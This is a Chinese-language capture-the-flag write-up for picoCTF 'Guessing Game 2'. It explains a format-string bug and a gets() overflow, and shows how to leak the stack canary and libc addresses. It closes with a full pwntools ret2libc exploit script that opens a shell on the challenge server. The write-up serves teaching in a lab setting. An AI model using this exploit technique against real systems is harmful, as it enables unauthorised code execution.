picoCTF - Guessing Game 2
Analysis
输入随机数确认成功,输入名字后可以bof
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
gets(winner);
printf("Congrats: ");
printf(winner);
printf("\n\n");
}
这里的printf(winner)存在字符串格式漏洞利用,可以通过类似%n$p的方法来获得找到第n个参数位置保存的值
检查下保护:
[*] '/home/clot/CTF/GuessGame2/vuln'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
可以看到有Canary,那就可以通过字符串格式漏洞来找到这个canary来绕过。
Solution
-
确认随机数
-
leak libc里puts的地址,获得libc的基地址,生成
system和/bin/sh的地址 -
leak canary的地址
-
构造payload来exploit
Random Number
这里的随机数由于服务器和本地libc版本的不同,导致生成的随机数是不同的。
当时在随机数上浪费了很多不该浪费的时间,本来是想过暴力破解,但是觉得好慢,就在考虑是不是有别的办法。
程序中是通过rand的地址来计算的,然后模上了4096,相当于是&0xfff的操作,那我只要知道这个rand在libc里的地址的后三位就可以了。
我通过GuessingGame1获得的shell,上去就是lld --version,当场我就获得了libc-2.27的信息..
然而由于对libc版本命名的不理解,导致两次搞错libc的版本,尝试多次无果后,才用了暴力破解的方法。。最后得出结果是-31。
Leak libc function address
知道结果是-31后其实就知道了rand的在libc里的地址的后三位,通过libc查询网站查到对应的libc版本。
对应的system和str_bin_sh的地址也就都能查到了,还缺一个libc的基地址。
这里通过读取puts的GOT地址,来获得实际地址,可以通过ida或者pwntool获取:elf.got["puts"],地址为0x08049FDC
然后我们需要通过输入的格式化字符串来读取这个地址里保存的值。先输入名字,通过gdb来观察下栈的布局:
这个断点是在准备printf输入的名字的时候断下的。字符串开头的0x41414141在0xffffce3c距离第一个参数地址0xffffce207个4字节参数的位置,所以我们可以输入puts的GOT地址,然后用%7$.4s的格式化字符串来获取这个地址的值:
p.recvuntil('guess?\n')
p.sendline(n)
p.recvuntil('\nName? ')
padding = p32(putsGOTAddress)
padding += b"%7$.4s"
p.sendline(padding)
p.recvuntil('Congrats: ')
data = hex(u32(p.recvline()[-5:-1]))
最后的data便是puts的实际地址,通过以下方法来计算出system和binsh的地址
putsAddress = leakGOTAddress(puts)
baseAddress = int(putsAddress, 16) - libcPusts
systemAddress = baseAddress + systemLibc
binShAddr = baseAddress + binSh
Bypass Canary
依然是用格式化字符串来leak,在ida中可以看到canary的位置:
那么只要计算出这个canary距离我们的printf有多少个参数的距离就可以读取出来了:
pwndbg> x/x $ebp - 0xc
0xffffd03c: 0x0f975a00
pwndbg> p/d (0xffffd03c - 0xffffce20) / 4
$1 = 135
...
pwndbg> c
Continuing.
New winner!
Name? %135$p
Congrats: 0xf975a00
ROP
所需要的条件都已经获取到了,接下来就是拼装payload来ROP了,canary的地方依然放置canary的值,用system的地址覆盖掉返回地址,并在上面放置好参数/bin/sh。需要事先观察好栈的布局。
payload = 512 * b'A' + p32(canary) + p32(0) + p32(0) + p32(0)
payload += p32(systemAddress) + p32(1) + p32(binShAddr)
Exploitation
完整的代码:
from pwn import *
REMOTE = 1
elf = ELF('./vuln')
if REMOTE:
host = 'jupiter.challenges.picoctf.org'
port = '15815'
p = remote(host, port)
n = '-31'
else:
p = elf.process()
libc = ELF("libc223-i386.so")
n = '-1775'
gdb.attach(p)
def leakAddressByParaNum(paraNo):
p.recvuntil('guess?\n')
p.sendline(n)
p.recvuntil('\nName? ')
p.sendline('%' + str(paraNo) + '$p')
p.recvuntil('Congrats: ')
p.recv(2)
data = p.recvuntil('\n\n')
data = int(data, 16)
return data
def leakGOTAddress(address):
p.recvuntil('guess?\n')
p.sendline(n)
p.recvuntil('\nName? ')
padding = p32(address)
padding += b"%7$.4s"
p.sendline(padding)
p.recvuntil('Congrats: ')
data = hex(u32(p.recvline()[-5:-1]))
return data
binSh = 0x17bb8f
systemLibc = 0x3cd80
libcPusts = 0x673d0
puts = 0x8049fdc
canary = leakAddressByParaNum(135)
print("canary: " + str(hex(canary)))
putsAddress = leakGOTAddress(puts)
baseAddress = int(putsAddress, 16) - libcPusts
systemAddress = baseAddress + systemLibc
binShAddr = baseAddress + binSh
print("systemAddress: " + hex(systemAddress))
payload = 512 * b'A' + p32(canary) + p32(0) + p32(0) + p32(0)
payload += p32(systemAddress) + p32(1) + p32(binShAddr)
def exploit(payload):
p.recvuntil('guess?\n')
p.sendline(n)
p.recvuntil('\nName? ')
p.sendline(payload)
exploit(payload)
p.interactive()
[+] Opening connection to jupiter.challenges.picoctf.org on port 15815: Done
[*] '/home/clot/CTF/GuessGame2/libc-2.27.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
canary: 0xe0b2ae00
systemAddress: 0xf7d7fd80
[*] Switching to interactive mode
Congrats: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ ls
flag.txt
vuln
vuln.c
xinet_startup.sh

